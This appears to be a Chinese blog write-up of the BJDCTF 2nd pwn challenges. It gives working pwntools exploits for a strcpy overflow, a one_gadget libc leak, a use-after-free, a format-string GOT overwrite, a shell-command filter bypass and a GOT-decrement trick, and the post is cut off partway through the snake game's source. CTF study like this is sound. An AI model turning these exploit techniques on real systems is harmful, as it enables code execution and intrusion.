BJDCTF_2nd PWN复盘

r2t3

在这里插入图片描述
在这里插入图片描述
在name_check函数中有一个strcpy,看起来是溢出的机会,但是前面判断了长度,这里在汇编下才能发现漏洞
在这里插入图片描述
即只要长度超过255就会溢出
Exp:

from pwn import *

r = remote("node3.buuoj.cn", 29302)
elf = ELF("./BJDCTF_2nd_r2t3")
system = elf.plt['system']
bin_sh = 0x08048760
print r.recvuntil("[+]Please input your name:\n")
payload = 'a' * 0x15 + p32(system) * 2 + p32(bin_sh)
payload = payload.ljust(260, 'a')
r.sendline(payload)
r.interactive()

one_gadget

在这里插入图片描述
题目给了printf的地址,根据其算出libc基地址然后计算one_gadget的地址,发送即可
在这里插入图片描述

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 25695)
libc = ELF("./libc/libc-2.29.so")
print r.recvuntil("here is the gift for u:")
printf = int(r.recvuntil('\n').strip(), 16)
success("printf:"+hex(printf))
libc_base = printf - libc.sym['printf']
one_gadget = libc_base + 0x106ef8
payload = str(one_gadget)
r.sendline(payload)
r.interactive()

ydsneedgirlfriend2

在这里插入图片描述
这题是UAF漏洞
在这里插入图片描述
使用了函数指针
在这里插入图片描述
利用UAF修改为后门函数再调用show即可
Exp:

from pwn import *

def add(size, content):
	print r.recvuntil("u choice :\n")
	r.sendline('1')
	print r.recvuntil("Please input the length of her name:\n")
	r.sendline(str(size))
	print r.recvuntil("Please tell me her name:\n")
	r.send(content)

def delete(index):
	print r.recvuntil("u choice :\n")
	r.sendline('2')
	print r.recvuntil("Index :")
	r.sendline(str(index))

def show(index):
	print r.recvuntil("u choice :\n")
	r.sendline('3')
	print r.recvuntil("Index :")
	r.sendline(str(index))


r = remote("node3.buuoj.cn", 28148)
system = 0x400D86

add(0x80, 'a\n')
add(0x80, 'b\n')
delete(0)
delete(1)
payload = p64(system) * 2
add(0x10, payload)
show(0)
r.interactive()

r2t4

在这里插入图片描述
有格式化字符串漏洞,有canary,似乎难以溢出
可以把___stack_chk_fail的got改了
不过这题的payload长度超过0x28(40)就会破坏canary
所以payload长度一定要大于40

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 26346)
#r = process("./BJDCTF_2nd_r2t4")
elf = ELF("./BJDCTF_2nd_r2t4")
libc = ELF("./libc/libc-2.29.so")
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x40069C
	c
	''')
target = elf.got['__stack_chk_fail']
system = 0x400626
num1 = (system >> 16)
num2 = (system & 0xFFFF) - num1
payload = '%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%10$hn'
payload = payload.ljust(24, 'a') + p64(target+2) + p64(target) + 'a' * 17
r.sendline(payload)
r.interactive()

test

这题或许考察的是对Linux命令的掌握
源代码如下

//test.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){
   
    char cmd[0x100] = {
   0};
    puts("Welcome to Pwn-Game by TaQini.");
    puts("Your ID:");
    system("id");
    printf("$ ");
    gets(cmd);
    if( strstr(cmd, "n")
       ||strstr(cmd, "e")
       ||strstr(cmd, "p")
       ||strstr(cmd, "b")
       ||strstr(cmd, "u")
       ||strstr(cmd, "s")
       ||strstr(cmd, "h")
       ||strstr(cmd, "i")
       ||strstr(cmd, "f")
       ||strstr(cmd, "l")
       ||strstr(cmd, "a")
       ||strstr(cmd, "g")
       ||strstr(cmd, "|")
       ||strstr(cmd, "/")
       ||strstr(cmd, "$")
       ||strstr(cmd, "`")
       ||strstr(cmd, "-")
       ||strstr(cmd, "<")
       ||strstr(cmd, ">")
       ||strstr(cmd, ".")){
   
        exit(0);    
    }else{
   
        system(cmd);
    }
    return 0;
}

可以看到许多命令被过滤了
我们使用以下两条指令查看可以使用的治理

env $PATH
ls /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /usr/games /usr/local/games | grep -v -E ' n|e|p|b|u|s|h|i|f|l|a|g'

在这里插入图片描述
这题有两种办法:

  1. 执行命令x86_64,然后cat flag
  2. 使用od *获取flag的八进制形式,然后转为str
    脚本如下
od = [066146,063541,030573,030064,062461,061143,026545,033544,0000020,060541,032055,062063,026543,034071, 061460, 032455, 030465, 0000040, 031465, 061541, 062060, 063144, 076546, 077412, 046105]
flag = ""

for i in od:
    tmp = hex(i)[2:]
    flag += tmp.decode('hex')[::-1]
print flag

secret

在这里插入图片描述
这题同样有两个办法
程序逻辑就是要你猜数字,正常情况下猜对10000次给flag

方法一

利用idapython读出所有数字,发送一万次
idapython脚本如下

import idc, idaapi, idautils


guess_addr = 0x46A329
secrets = []
def get_secret():
	f = open("secrets.txt", "w")
	all = idautils.CodeRefsTo(guess_addr, 1)
	for addr in all:
		next = idc.NextHead(addr)
		next = idc.NextHead(next)
		secret = idc.GetOpnd(next, 1)
		secret = secret[:-1]
		if len(secret) == 0:
			continue
		secret = int(secret, 16)
		f.write(str(secret)+'\n')
		
		
	f.close()


if __name__ == "__main__":
    get_secret()

Exp如下:

from pwn import *

r = remote("node3.buuoj.cn", 26527)
#r = process("./BJDCTF_2nd_secret")
elf = ELF("./BJDCTF_2nd_secret")
exit_got = elf.got['exit']
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x401368
	c
	p exit
	''')
payload = 'a'	#'a' * 0x10 + '\xd0' + '\x10' + '\x40' + '\n'
r.send(payload)
sleep(2)

f = open("secrets.txt", "r")
for i in range(10000):
	num = f.readline().strip()
	print r.recvuntil("Secret:")
	r.sendline(num)
f.close()
r.sendline('1')
r.interactive()

当然这样做很费时间

方法二

在这里插入图片描述
在这里插入图片描述
buf处有一个缓冲区溢出
在这里插入图片描述
每猜对一次,0x46D090中的数据作为地址的数据就会建减一
如果游戏失败,则会触发下面这个函数
在这里插入图片描述
此外,我们发现printf的plt地址和system很接近
在这里插入图片描述
所以,我们可以先把0x46D090改成printf的got地址,然后猜15次,然后输入错误的数字来结束,即可
Exp如下:

from pwn import *

r = remote("node3.buuoj.cn", 28077)
#r = process("./BJDCTF_2nd_secret")
elf = ELF("./BJDCTF_2nd_secret")
exit_got = elf.got['exit']
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x401368
	c
	p exit
	''')
payload = '/bin/sh\x00'.ljust(0x10, 'a') + '\x40' + '\xD0' + '\x46' + '\n'
r.send(payload)
sleep(2)

f = open("secrets.txt", "r")
for i in range(0xF):
	num = f.readline().strip()
	print r.recvuntil("Secret:")
	r.sendline(num)
f.close()
r.sendline('1')
r.interactive()

snake_dyn

登录密码可以直接用微信扫出来
游戏源代码如下

#include <stdio.h>
#include <time.h>
#include <malloc.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/select.h>
#include <sys/time.h>
#include <termio.h>
#include <string.h>

#define high 20
#define wide 30

#define up 1
#define down 2
#define left 3
#define right 4

// void setIO(unsigned int flag) {
   
//     if(flag)
//         system("stty cbreak -echo");
//     else
//         system("stty cooked echo");
// }

void StringReplace(char *buf, char src, char dest){
   
    char *p = buf;
    while(*p){
   
        if(p[0]==src){
   
            p[0]=dest;
        }
        p++;
    }
}

unsigned int score  = 0;
unsigned int Level = 1;
unsigned int direction = 1;
unsigned int IsEat=0;
unsigned int FoodH=5,FoodW=10;
char Name[0x100];
char flag[0x1000];
unsigned int flag_pos = 0;

char Picture[high][wide];

typedef struct snake{
   
    unsigned int x;
    unsigned int y;
    struct snake* next;
}Node,*PSnake;

PSnake Init() {
   
    printf("SnakeMake start!\n");
    unsigned int len=5;
    PSnake head=(PSnake)malloc(sizeof(Node));
    if(head == NULL)
    printf("Snake head make failed!\n");
    head->x=wide/2;
    head->y=high/2+5;
    head->next=NULL;

    unsigned int i=0;
    for(;i<5;i++) {
   
        PSnake P=(PSnake)malloc(sizeof(Node));
        if(P==NULL) {
   
            printf("Snake is dead!\n");
            break;
        }
        P->x=wide/2;
        P->y=high/2-i+4;
        P->next=head;
        head=P;
    }
    printf("Snake is alive!\n");
    return head;
}

PSnake Eat(unsigned int x,unsigned int y,PSnake snake) {
   
    PSnake p=(PSnake)malloc(sizeof(Node));
    if(p==NULL) {
   
        printf("New head make failed!");
    }
    p->x = x;
    p->y = y;
    p->next=snake;
    score += 1;
    return p;
}

void Walk(unsigned int x,unsigned int y,PSnake snake) {
   
    PSnake p=snake;
    unsigned int a,b, c=x, d=y;
    while(p!=NULL) 
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值